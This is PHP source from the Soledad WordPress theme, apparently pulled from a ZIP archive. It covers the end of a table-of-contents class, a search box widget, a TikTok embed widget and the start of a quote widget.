				$width                                 = get_theme_mod( 'penci_toc_styles_width', '320' ) . 'px';
				$js_vars['visibility_hide_by_default'] = get_theme_mod( 'penci_toc_visibility_hide_by_default' );
				$js_vars['width']                      = esc_js( $width );
			}
			$prefix                   = get_theme_mod( 'penci_toc_prefix', 'penci' );
			$js_vars['prefix']        = (string) $prefix ? $prefix : '';
			$offset                   = wp_is_mobile() ? get_theme_mod( 'penci_toc_mobile_smooth_scroll_offset', 90 ) : get_theme_mod( 'penci_toc_smooth_scroll_offset', 120 );
			$js_vars['scroll_offset'] = esc_js( $offset );
			if ( ! empty( $js_vars ) ) {
				wp_enqueue_script( 'penci-toc-lib' );
				wp_localize_script( 'penci-toc-lib', 'PenciTOC', $js_vars );
			}
		}

		public static function array_search_deep( $search, array $array, $mode = 'value' ) {
			foreach ( new RecursiveIteratorIterator( new RecursiveArrayIterator( $array ) ) as $key => $value ) {
				if ( $search === ${${'mode'}} ) {
					return true;
				}
			}

			return false;
		}

		public static function is_eligible( $post ) {

			if ( empty( $post ) || ! $post instanceof WP_Post ) {
				return false;
			}

			$return = false;

			if ( has_shortcode( $post->post_content, apply_filters( 'penci_toc_shortcode', 'toc' ) ) || has_shortcode( $post->post_content, 'penci-toc' ) ) {
				$return = true;
			}
			
			if ( is_front_page() ) {
				$return = false;
			}

			if ( is_singular() ) {

				$type    = get_post_type( $post->ID );
				$enabled = get_theme_mod( 'penci_toc_enabled_post_types' ) && is_array( get_theme_mod( 'penci_toc_enabled_post_types' ) ) && in_array( $type, get_theme_mod( 'penci_toc_enabled_post_types', array() ), true );

				if ( $enabled && is_singular( $type ) ) {
					$return = true;
				}

				if ( 'yes' == get_post_meta( $post->ID, 'penci_toc_enable', true ) ) {
					$return = true;
				}

				if ( 'no' == get_post_meta( $post->ID, 'penci_toc_enable', true ) ) {
					$return = false;
				}

				
				$elementor_data = get_post_meta( $post->ID, '_elementor_data', 'true' );
				if ( strpos($elementor_data, '[penci-toc') !== false ) {
					$return = true;
				}
			
			}

			return $return;
		}

		public static function get( $id ) {
			$post = null;
			if ( isset( self::$store[ $id ] ) && self::$store[ $id ] instanceof SoledadToc_Post ) {
				$post = self::$store[ $id ];
			} else {
				$post = SoledadToc_Post::get( get_the_ID() );
				if ( $post instanceof SoledadToc_Post ) {
					self::$store[ $id ] = $post;
				}
			}

			return $post;
		}

		public static function shortcode( $atts, $content, $tag ) {
			static $run = true;
			$html = '';
			if ( $run ) {
				$post = self::get( get_the_ID() );
				if ( ! $post instanceof SoledadToc_Post ) {
					return $content;
				}
				$html = $post->getTOC();
				$run  = false;
			}

			return $html;
		}

		private static function maybe_apply_the_content_filter() {

			$apply = true;

			global $wp_current_filter;

			// Do not execute if root current filter is one of those in the array.
			if ( isset( $wp_current_filter[0] ) && in_array( $wp_current_filter[0], array(
					'get_the_excerpt',
					'init',
					'wp_head'
				), true ) ) {

				$apply = false;
			}

			// bail if feed, search or archive
			if ( is_feed() || is_search() || is_archive() ) {

				if ( ( true == get_theme_mod( 'penci_toc_include_category', false ) && is_category() ) || ( true == get_theme_mod( 'penci_toc_include_tag', false ) && is_tag() ) || ( true == get_theme_mod( 'penci_toc_include_product_category', false ) && ( function_exists( 'is_product_category' ) && is_product_category() ) ) || ( true == get_theme_mod( 'penci_toc_include_custom_tax', false ) && is_tax() ) ) {

					$apply = true;
				} else {
					$apply = false;
				}
			}

			if ( function_exists( 'get_current_screen' ) ) {
				$my_current_screen = get_current_screen();
				if ( isset( $my_current_screen->id ) ) {

					if ( $my_current_screen->id == 'edit-post' ) {
						$apply = false;
					}
				}

				if ( is_object( $my_current_screen ) && method_exists( $my_current_screen, 'is_block_editor' ) && $my_current_screen->is_block_editor() ) {
					$apply = false;
				}
			}

			if ( ! empty( array_intersect( $wp_current_filter, array( 'get_the_excerpt', 'init', 'wp_head' ) ) ) ) {
				$apply = false;
			}

			return apply_filters( 'penci_toc_maybe_apply_the_content_filter', $apply );
		}

		public static function the_content( $content ) {

			if ( function_exists( 'post_password_required' ) ) {
				if ( post_password_required() ) {
					return $content;
				}
			}

			$maybeApplyFilter = self::maybe_apply_the_content_filter();
			$content          = apply_filters( 'pencitoc_modify_the_content', $content );


			if ( ! $maybeApplyFilter ) {

				return $content;
			}
			// Fix for getting current page id when sub-queries are used on the page
			$penci_toc_current_post_id = function_exists( 'get_queried_object_id' ) ? get_queried_object_id() : get_the_ID();

			// Bail if post not eligible and widget is not active.
			if ( apply_filters( 'current_theme', get_option( 'current_theme' ) ) == 'MicrojobEngine Child' || class_exists( 'Timber' ) ) {
				$isEligible = self::is_eligible( get_post( $penci_toc_current_post_id ) );
			} else {
				$isEligible = self::is_eligible( get_post() );
			}

			$isEligible = apply_filters( 'pencitoc_do_shortcode', $isEligible );

			if ( $isEligible ) {
				if ( ! penci_toc_auto_device_target_status() ) {
					$isEligible = false;
				}
			}

			if ( ! $isEligible ) {
				return $content;
			}

			if ( apply_filters( 'current_theme', get_option( 'current_theme' ) ) == 'MicrojobEngine Child' || class_exists( 'Timber' ) ) {
				$post = self::get( $penci_toc_current_post_id );
			} else {
				$post = self::get( get_the_ID() );
			}


			if ( ! $post instanceof SoledadToc_Post ) {

				return $content;
			}
			//Bail if no headings found.
			if ( ! $post->hasTOCItems() && get_theme_mod( 'penci_toc_no_heading_text' ) != 1 ) {

				return $content;
			}

			$find     = $post->getHeadings();
			$replace  = $post->getHeadingsWithAnchors();
			$toc      = $post->getTOC();
			$headings = implode( PHP_EOL, $find );
			$anchors  = implode( PHP_EOL, $replace );

			$headingRows = count( $find ) + 1;
			$anchorRows  = count( $replace ) + 1;

			$style = "background-image: linear-gradient(#F1F1F1 50%, #F9F9F9 50%); background-size: 100% 4em; border: 1px solid #CCC; font-family: monospace; font-size: 1em; line-height: 2em; margin: 0 auto; overflow: auto; padding: 0 8px 4px; white-space: nowrap; width: 100%;";

			// If shortcode used or post not eligible, return content with anchored headings.
			if ( strpos( $content, 'penci-toc-container' ) || ! $isEligible ) {


				return mb_find_replace( $find, $replace, $content );
			}

			$position = get_theme_mod( 'penci_toc_position', 'top' );


			switch ( $position ) {

				case 'top':
					$content = $toc . mb_find_replace( $find, $replace, $content );
					break;

				case 'bottom':
					$content = mb_find_replace( $find, $replace, $content ) . $toc;
					break;

				case 'after':
					$replace[0] = $replace[0] . $toc;
					$content    = mb_find_replace( $find, $replace, $content );
					break;
				case 'afterpara':
					$exc_blkqt = get_theme_mod( 'penci_toc_blockqoute_checkbox' );
					//blockqoute
					$blockquotes = array();
					if ( $exc_blkqt == true ) {
						preg_match_all( "/<blockquote(.*?)>(.*?)<\/blockquote>/s", $content, $blockquotes );
						if ( ! empty( $blockquotes ) ) {
							$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 1 );
						}
					}
					$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
					//add blockqoute back
					if ( $exc_blkqt == true && ! empty( $blockquotes ) ) {
						$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 2 );
					}
					break;
				case 'aftercustompara':
					$exc_blkqt = get_theme_mod( 'penci_toc_blockqoute_checkbox' );
					//blockqoute
					$blockquotes = array();
					if ( $exc_blkqt == true ) {
						preg_match_all( "/<blockquote(.*?)>(.*?)<\/blockquote>/s", $content, $blockquotes );
						if ( ! empty( $blockquotes ) ) {
							$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 1 );
						}
					}
					$paragraph_index = get_theme_mod( 'penci_toc_custom_para_number' );
					if ( $paragraph_index == 1 ) {
						$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
					} else if ( $paragraph_index > 1 ) {
						$closing_p  = '</p>';
						$paragraphs = explode( $closing_p, $content );
						if ( ! empty( $paragraphs ) && is_array( $paragraphs ) && $paragraph_index <= count( $paragraphs ) ) {
							$paragraph_id = $paragraph_index;
							foreach ( $paragraphs as $index => $paragraph ) {
								if ( trim( $paragraph ) ) {
									$paragraphs[ $index ] .= $closing_p;
								}
								$pos = strpos( $paragraph, '<p' );
								if ( $paragraph_id == $index + 1 && $pos !== false ) {
									$paragraphs[ $index ] .= $toc;
								}
							}
							$content = implode( '', $paragraphs );
							$content = mb_find_replace( $find, $replace, $content );
						} else {
							$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
						}
					} else {
						$content = insertElementByPTag( mb_find_replace( $find, $replace, $content ), $toc );
					}
					//add blockqoute back
					if ( $exc_blkqt == true && ! empty( $blockquotes ) ) {
						$content = penci_toc_para_blockquote_replace( $blockquotes, $content, 2 );
					}
					break;
				case 'aftercustomimg':
					$img_index = get_theme_mod( 'penci_toc_custom_img_number' );
					if ( $img_index == 1 ) {
						$content = insertElementByImgTag( mb_find_replace( $find, $replace, $content ), $toc );
					} else if ( $img_index > 1 ) {
						$closing_img = '</figure>';
						$imgs        = explode( $closing_img, $content );
						if ( ! empty( $imgs ) && is_array( $imgs ) && $img_index <= count( $imgs ) ) {
							$img_id = $img_index;
							foreach ( $imgs as $index => $img ) {
								if ( trim( $img ) ) {
									$imgs[ $index ] .= $closing_img;
								}
								$pos = strpos( $img, '<figure' );
								if ( $img_id == $index + 1 && $pos !== false ) {
									$imgs[ $index ] .= $toc;
								}
							}
							$content = implode( '', $imgs );
							$content = mb_find_replace( $find, $replace, $content );
						} else {
							$content = insertElementByImgTag( mb_find_replace( $find, $replace, $content ), $toc );
						}
					} else {
						$content = insertElementByImgTag( mb_find_replace( $find, $replace, $content ), $toc );
					}
					break;
				case 'before':
				default:
					$content = mb_find_replace( $find, $replace, $content );

					/**
					 * @link https://wordpress.org/support/topic/php-notice-undefined-offset-8/
					 */
					if ( ! array_key_exists( 0, $replace ) ) {
						break;
					}

					$pattern = '`<h[1-6]{1}[^>]*' . preg_quote( $replace[0], '`' ) . '`msuU';
					$result  = preg_match( $pattern, $content, $matches );

					/*
					 * Try to place TOC before the first heading found in eligible heading, failing that,
					 * insert TOC at top of content.
					 */
					if ( 1 === $result ) {


						$start   = strpos( $content, $matches[0] );
						$content = substr_replace( $content, $toc, $start, 0 );

					}
			}

			return $content;

		}

		public static function penci_toc_style() {
			$css       = '';
			$toc_style = array(
				'penci_toc_styles_width'          => array( 'max-width' => '.penci-toc-wrapper,.penci-toc-wrapper.penci-toc-default' ),
				'penci_toc_styles_swidth'         => array( 'max-width' => '.penci-sticky-toc' ),
				'penci_toc_heading_mfs'           => array( 'font-size' => '.penci-toc-wrapper .penci-toc-title' ),
				'penci_toc_heading_fs'            => array( 'font-size' => '.penci-toc-wrapper .penci-toc-title' ),
				'penci_toc_l1_mfs'                => array( 'font-size' => '.post-entry .penci-toc ul a,.penci-toc ul a' ),
				'penci_toc_l1_fs'                 => array( 'font-size' => '.post-entry .penci-toc ul a,.penci-toc ul a' ),
				'penci_toc_l2_mfs'                => array( 'font-size' => '.post-entry .penci-toc ul ul a,.penci-toc ul ul a' ),
				'penci_toc_l2_fs'                 => array( 'font-size' => '.post-entry .penci-toc ul ul a,.penci-toc ul ul a' ),
				'penci_toc_heading_color'         => array( 'color' => '.post-entry .penci-toc-wrapper .penci-toc-title,.penci-toc-wrapper .penci-toc-title' ),
				'penci_toc_l1_color'              => array( 'color' => '.post-entry .penci-toc ul a,.penci-toc ul a' ),
				'penci_toc_l1_hcolor'             => array( 'color' => '.post-entry .penci-toc ul a:hover,.penci-toc ul a:hover' ),
				'penci_toc_l2_color'              => array( 'color' => '.post-entry .penci-toc ul ul a,.penci-toc ul ul a' ),
				'penci_toc_l2_hcolor'             => array( 'color' => '.post-entry .penci-toc ul ul a:hover,.penci-toc ul ul a:hover' ),
				'penci_toc_bd_color'              => array( 'border-color' => '.penci-toc-wrapper,.penci-toc-wrapper .penci-toc > ul,.penci-toc ul li a' ),
				'penci_toc_bg_color'              => array( 'background-color' => '.penci-toc-wrapper' ),
				'penci_toc_tgbtn_color'           => array( 'color' => '.post-entry .penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_tgbtn_hcolor'          => array( 'color' => '.post-entry .penci-toc-wrapper .penci-toc-title-toggle:hover' ),
				'penci_toc_tgbtn_bgcolor'         => array( 'background-color' => '.penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_tgbtn_hbgcolor'        => array( 'background-color' => '.penci-toc-wrapper .penci-toc-title-toggle:hover' ),

				// sticky
				'penci_toc_sticky_heading_color'  => array( 'color' => '.penci-toc-wrapper.penci-sticky-toc .penci-toc-title' ),
				'penci_toc_sticky_l1_color'       => array( 'color' => '.penci-sticky-toc .penci-toc ul a' ),
				'penci_toc_sticky_l1_hcolor'      => array( 'color' => '.penci-sticky-toc .penci-toc ul a:hover' ),
				'penci_toc_sticky_l2_color'       => array( 'color' => '.penci-sticky-toc .penci-toc ul ul a' ),
				'penci_toc_sticky_l2_hcolor'      => array( 'color' => '.penci-sticky-toc .penci-toc ul ul a:hover' ),
				'penci_toc_sticky_bd_color'       => array( 'border-color' => '.penci-sticky-toc .penci-toc-wrapper,.penci-toc-wrapper .penci-toc > ul,.penci-toc ul li a' ),
				'penci_toc_sticky_bg_color'       => array( 'background-color' => '.penci-sticky-toc .penci-toc-wrapper' ),
				'penci_toc_sticky_tgbtn_color'    => array( 'color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_sticky_tgbtn_hcolor'   => array( 'color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle:hover' ),
				'penci_toc_sticky_tgbtn_bgcolor'  => array( 'background-color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle' ),
				'penci_toc_sticky_tgbtn_hbgcolor' => array( 'background-color' => '.penci-sticky-toc .penci-toc-wrapper .penci-toc-title-toggle:hover' ),

				// Mobile Sticky Button
				'penci_toc_msticky_w_bgcolor'     => array( 'background-color' => '.penci-toc-wrapper.hide-table' ),
				'penci_toc_msticky_w_bdcolor'     => array( 'border-color' => '.penci-toc-wrapper.hide-table' ),
				'penci_toc_msticky_btn_bgcolor'   => array( 'background-color' => '.penci-toc-wrapper.hide-table .sticky-toggle' ),
				'penci_toc_msticky_btn_bghcolor'  => array( 'background-color' => '.penci-toc-wrapper.hide-table .sticky-toggle:hover' ),
				'penci_toc_msticky_btn_color'     => array( 'color' => '.penci-toc-wrapper.hide-table .sticky-toggle' ),
				'penci_toc_msticky_btn_hcolor'    => array( 'color' => '.penci-toc-wrapper.hide-table .sticky-toggle:hover' ),

			);
			foreach ( $toc_style as $value => $props ) {
				$before = $after = '';
				if ( strpos( $value, 'm' ) !== false ) {
					$before = '@media only screen and (max-width: 767px){';
					$after  = '}';
				}
				$val = get_theme_mod( $value );
				if ( $val ) {
					foreach ( $props as $prop => $selector ) {
						$prefix = 'font-size' == $prop || 'max-width' == $prop ? 'px' : '';
						$css    .= $before . $selector . '{' . $prop . ':' . $val . $prefix . '}' . $after;
					}
				}
			}

			echo $css;
		}
	}

	function penciTOC() {
		return penciTOC::instance();
	}

	add_action( 'wp', 'penciTOC' );
}
PK     N\YI1  I1    inc/widgets/search_box.phpnu [        <?php

add_action( 'widgets_init', 'penci_search_box_load_widget' );

function penci_search_box_load_widget() {
	register_widget( 'penci_search_box_widget' );
}

if ( ! class_exists( 'penci_search_box_widget' ) ) {
	class penci_search_box_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_search_box_widget',
				'description' => esc_html__( 'A widget that displays the search form', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_search_box_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_search_box_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Search Box', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_search_box_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Search Box', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );
			$style = isset( $instance['style'] ) && $instance['style'] ? $instance['style'] : 'default';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			?>
            <div class="pcwg-widget pc-widget-searchform penci-builder-element pc-search-form search-style-<?php echo $style; ?>">
                <form role="search" method="get" class="pc-searchform"
                      action="<?php echo esc_url( home_url( '/' ) ); ?>">
                    <div class="pc-searchform-inner">
                        <input type="text" class="search-input"
                               placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>" name="s"/>
                        <i class="penciicon-magnifiying-glass"></i>
                        <button type="submit"
                                class="searchsubmit"><?php echo penci_get_setting( 'penci_trans_search' ); ?></button>
                    </div>
                </form>
            </div>
			<?php
			$styles = [
				'bgcolor'     => [
					'background-color' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input'
				],
				'bdcolor'     => [
					'border-color' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input'
				],
				'txtcolor'    => [
					'color' => '#' . $this->id . ' form.pc-searchform input.search-input',
				],
				'btncolor'    => [
					'color' => '#' . $this->id . ' .pc-widget-searchform.search-style-default i,#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit'
				],
				'btnhcolor'   => [
					'color' => '#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:hover,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover'
				],
				'btnbgcolor'  => [
					'background-color' => '#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit'
				],
				'btnbghcolor' => [
					'background-color' => '#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:hover,#' . $this->id . ' .pc-widget-searchform.pc-search-form.search-style-text-button .searchsubmit:hover'
				],
				'ch'          => [
					'line-height' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input,#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:before,#' . $this->id . ' .pc-widget-searchform.search-style-text-button .searchsubmit ',
				],
				'fzinput'     => [
					'font-size' => '#' . $this->id . ' .pc-widget-searchform form.pc-searchform input.search-input',
				],
				'fzbtn'       => [
					'font-size' => '#' . $this->id . ' .pc-widget-searchform.search-style-default i,
							#' . $this->id . ' .pc-widget-searchform.search-style-icon-button .searchsubmit:before,
							#' . $this->id . ' .pc-widget-searchform.search-style-text-button .searchsubmit',
				],
			];

			$out = '';

			foreach ( $styles as $option => $selectors ) {
				$value = isset( $instance[ $option ] ) ? $instance[ $option ] : '';
				if ( $value ) {
					foreach ( $selectors as $prop => $selector ) {
						$prefix = in_array( $prop, [ 'font-size', 'line-height' ] ) ? 'px' : '';
						$out    .= $selector . '{' . $prop . ':' . $value . $prefix . '}';
					}
				}
			}

			if ( $out ) {
				echo '<style>' . $out . '</style>';
			}


			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Search', 'soledad' ),
				'style'       => 'default',
				'bgcolor'     => '',
				'bdcolor'     => '',
				'txtcolor'    => '',
				'txthcolor'   => '',
				'btncolor'    => '',
				'btnhcolor'   => '',
				'btnbgcolor'  => '',
				'btnbghcolor' => '',
				'ch'          => '',
				'fzinput'     => '',
				'fzbtn'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Search Form Style:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value=''>Default
                    </option>
                    <option value='text-button' <?php selected( $instance['style'], 'text-button' ); ?>>Text Button
                    </option>
                    <option value='icon-button' <?php selected( $instance['style'], 'icon-button' ); ?>>Icon Button
                    </option>
                </select>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       style="display:block;"><?php _e( 'Background Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bgcolor' ); ?>" type="text"
                       value="<?php echo $instance['bgcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       style="display:block;"><?php _e( 'Border Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bdcolor' ); ?>" type="text"
                       value="<?php echo $instance['bdcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'txtcolor' ); ?>"
                       style="display:block;"><?php _e( 'Search Input Text Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'txtcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'txtcolor' ); ?>" type="text"
                       value="<?php echo $instance['txtcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btncolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Text Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btncolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btncolor' ); ?>" type="text"
                       value="<?php echo $instance['btncolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btnhcolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Hover Text Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btnhcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btnhcolor' ); ?>" type="text"
                       value="<?php echo $instance['btnhcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btnbgcolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Background Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btnbgcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btnbgcolor' ); ?>" type="text"
                       value="<?php echo $instance['btnbgcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'btnbghcolor' ); ?>"
                       style="display:block;"><?php _e( 'Button/Icon Hover Background Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'btnbghcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'btnbghcolor' ); ?>" type="text"
                       value="<?php echo $instance['btnbghcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ch' ) ); ?>">Custom Height</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ch' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ch' ) ); ?>"
                       value="<?php echo $instance['ch']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fzinput' ) ); ?>">Font Size for Input
                    Text</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fzinput' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fzinput' ) ); ?>"
                       value="<?php echo $instance['fzinput']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fzbtn' ) ); ?>">Font Size for Button/Icon</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fzbtn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fzbtn' ) ); ?>"
                       value="<?php echo $instance['fzbtn']; ?>">
            </p>

			<?php
		}
	}
}
?>
PK     N\ Q  Q    inc/widgets/tiktok_embed.phpnu [        <?php

add_action( 'widgets_init', 'penci_tiktok_embed_load_widget' );

function penci_tiktok_embed_load_widget() {
	register_widget( 'penci_tiktok_embed_widget' );
}

if ( ! class_exists( 'penci_tiktok_embed_widget' ) ) {
	class penci_tiktok_embed_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_tiktok_embed_widget',
				'description' => esc_html__( 'A widget that displays the user TikTok embed iframe.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_tiktok_embed_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_tiktok_embed_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Penci TikTok Feed', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_tiktok_embed_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Penci TikTok Feed', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$username = isset( $instance['username'] ) ? $instance['username'] : '';
			$width    = isset( $instance['width'] ) ? $instance['width'] : 280;


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			if ( $username ) {

				?>

                <blockquote class="tiktok-embed" cite="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>"
                            data-unique-id="<?php echo esc_attr( $username ); ?>"
                            data-embed-type="creator"
                            style="width: 100%; max-width: <?php echo esc_attr( $width ); ?>px;">
                    <section><a target="_blank"
                                href="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>">@<?php echo esc_attr( $username ); ?></a>
                    </section>
                </blockquote>

				<?php

				wp_enqueue_script( 'penci_tiktok_embed' );
			} else {
				_e( 'Please enter Tiktok username', 'soledad' );
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );

		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'    => esc_html__( 'TikTok Feed', 'soledad' ),
				'username' => '',
				'width'    => 280,
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $instance_title ); ?>" class="widefat" type="text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Tiktok Username ( Without @ )', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $instance['username'] ); ?>" class="widefat" type="text"/>
            </p>


            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'width' ) ); ?>"><?php esc_html_e( 'Custom Width (px)', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'width' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'width' ) ); ?>"
                       value="<?php echo esc_attr( $instance['width'] ); ?>" class="widefat" type="number"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\O⡳$  $    inc/widgets/quote_widget.phpnu [        <?php
/**
 * Block quote widget in sidebar
 * Display your quote on footer or sidebar
 *
 * @package Wordpress
 * @since   1.0
 */

add_action( 'widgets_init', 'penci_quote_load_widget' );

function penci_quote_load_widget() {
